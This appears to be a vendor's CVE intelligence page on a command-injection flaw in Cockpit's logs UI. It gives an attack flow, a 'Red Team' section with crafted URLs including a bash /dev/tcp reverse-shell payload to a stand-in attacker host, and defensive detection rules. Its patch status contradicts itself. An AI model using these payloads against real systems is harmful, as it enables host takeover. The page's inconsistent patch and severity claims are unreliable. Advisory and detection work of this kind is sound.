☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Cockpit logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-4802

CVE-2026-4802 Command Injection in Cockpit
📅 PUBLISHED: 2026-05-11 14:16 UTC 🔄 UPDATED: 2026-10-15 23:35 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.19%
👁️
1.19% probability
29.8× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.0
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-4802 is a critical command injection vulnerability in the Cockpit project, a web-based server management interface. The flaw resides in the system logs user interface (UI), where user-controlled parameters within crafted links are not properly sanitized. An attacker can inject shell metacharacters and command substitutions into these parameters, leading to arbitrary command execution on the host system. With a CVSS score of 8.0, this vulnerability poses a severe risk, potentially allowing complete system compromise. No patch is currently available, and no public proof-of-concept (PoC) or exploit code has been released.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Cockpit is a system administration tool commonly distributed via Linux package managers (e.g., apt, yum, dnf) and as a container image. The vulnerability affects the core Cockpit package, not a specific language ecosystem (NPM, PyPI, Go, Ruby). However, organizations using Cockpit in containerized environments should monitor for updates to the base image.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
  • Base Score: 8.0 (High)
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication is needed to trigger the vulnerability.
  • User Interaction: Required (UI:R) – The victim must click a crafted link.
  • Scope: Changed (S:C) – The impact extends beyond the vulnerable component.
  • Confidentiality Impact: High (C:H) – Full system read access.
  • Integrity Impact: High (I:H) – Full system write access.
  • Availability Impact: High (A:H) – Full system disruption.

Threat Level: Critical. The combination of remote exploitation, low complexity, and high impact makes this a top-priority vulnerability for patching and monitoring.

Deep Dive & Mechanics

The vulnerability exists in the Cockpit system logs UI, which processes user-controlled parameters from crafted links. The core issue is a lack of input sanitization in the handling of these parameters, allowing an attacker to inject shell metacharacters (e.g., ;, |, $(), `) and command substitutions.

Attack Flow:

  1. An attacker crafts a malicious link containing shell metacharacters in a parameter (e.g., ?param=$(malicious_command)).
  2. The victim (typically an administrator) clicks the link while logged into Cockpit.
  3. Cockpit’s system logs UI processes the parameter without sanitization.
  4. The injected command is executed on the host system with the privileges of the Cockpit process (typically root or a privileged user).
  5. The attacker gains arbitrary command execution, leading to full system compromise.

Root Cause: The vulnerability is due to improper neutralization of special elements used in an OS command (CWE-78). The code likely passes user input directly to a shell command (e.g., via system(), popen(), or similar) without escaping or validation.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (Conceptual):

# Vulnerable: Directly using user input in a shell command
import subprocess
def view_logs(param):
    command = f"grep '{param}' /var/log/syslog"
    subprocess.call(command, shell=True)

Patched Code (Conceptual):

# Patched: Using subprocess with argument list to avoid shell injection
import subprocess
def view_logs(param):
    # Validate and sanitize input
    if not re.match(r'^[a-zA-Z0-9_\-]+$', param):
        raise ValueError("Invalid parameter")
    command = ["grep", param, "/var/log/syslog"]
    subprocess.call(command, shell=False)

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A target running Cockpit (any version).
  • A victim user logged into Cockpit.
  • Ability to deliver a crafted link (e.g., via email, social engineering, or a compromised website).

Exploitation Steps:

  1. Craft a malicious URL:
    https://target-cockpit:9090/system/logs?param=$(id)
    
  2. Deliver the link to the victim (e.g., via phishing email).
  3. When the victim clicks the link, the command id is executed on the host.
  4. To achieve a reverse shell, use:
    https://target-cockpit:9090/system/logs?param=$(bash -i >& /dev/tcp/attacker-ip/4444 0>&1)
    

Note: No public exploit code is available. The above is a conceptual example.

Blue Team (Defense & Detection)

Detection:

  • Monitor for unusual parameters in Cockpit URLs (e.g., $(, `, ;).
  • Deploy WAF rules to block shell metacharacters in query parameters.
  • Enable detailed logging of Cockpit access and system command execution.

Hunting:

  • Search for processes spawned by Cockpit that contain shell metacharacters.
  • Look for outbound connections from the Cockpit host to unknown IPs (potential reverse shells).

Lab Setup:

  • Use a vulnerable Cockpit version in an isolated environment.
  • Simulate the attack by crafting malicious URLs and monitoring system logs.

Indicators of Compromise (IOCs)

  • Network:
    • URLs containing shell metacharacters (e.g., $(, ;, |) in Cockpit paths.
    • Outbound connections from the Cockpit host to suspicious IPs on common reverse shell ports (4444, 5555, etc.).
  • Host:
    • Unexpected processes spawned by the Cockpit user (e.g., bash, sh, nc).
    • Unusual entries in /var/log/syslog or Cockpit logs.
    • Modified system files or new user accounts.
  • File:
    • Temporary files created by injected commands (e.g., /tmp/*.sh).

Detection Engineering

YARA Rule

rule CVE_2026_4802_Cockpit_Command_Injection {
    meta:
        description = "Detects potential command injection attempts in Cockpit logs"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-4802"
    strings:
        $shell_meta1 = "$("
        $shell_meta2 = "`"
        $shell_meta3 = ";"
        $shell_meta4 = "|"
        $shell_meta5 = "&"
    condition:
        any of ($shell_meta*) and filesize < 10KB
}

Sigma Rule

title: Cockpit Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential command injection in Cockpit system logs UI
author: Valters IT
date: 2026-01-01
references:
    - CVE-2026-4802
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "$("
            - "`"
            - ";"
            - "|"
            - "&"
    condition: selection
falsepositives:
    - Legitimate use of special characters in log queries (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-4802 Cockpit Command Injection Attempt"; flow:to_server,established; content:"/system/logs"; http_uri; pcre:"/(\$\(|`|;|\||&)/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable Cockpit if not essential: systemctl stop cockpit && systemctl disable cockpit.
  2. Restrict access to Cockpit via firewall (e.g., allow only trusted IPs).
  3. Implement a Web Application Firewall (WAF) to block shell metacharacters in URLs.
  4. Monitor logs for suspicious activity (see IOCs).

Long-term Fix:

  • Await an official patch from the Cockpit project.
  • Apply input validation and output encoding in custom integrations.
  • Use parameterized commands instead of shell execution.

Workaround:

  • If Cockpit must remain active, consider proxying it through a reverse proxy with strict input validation.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-4802/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.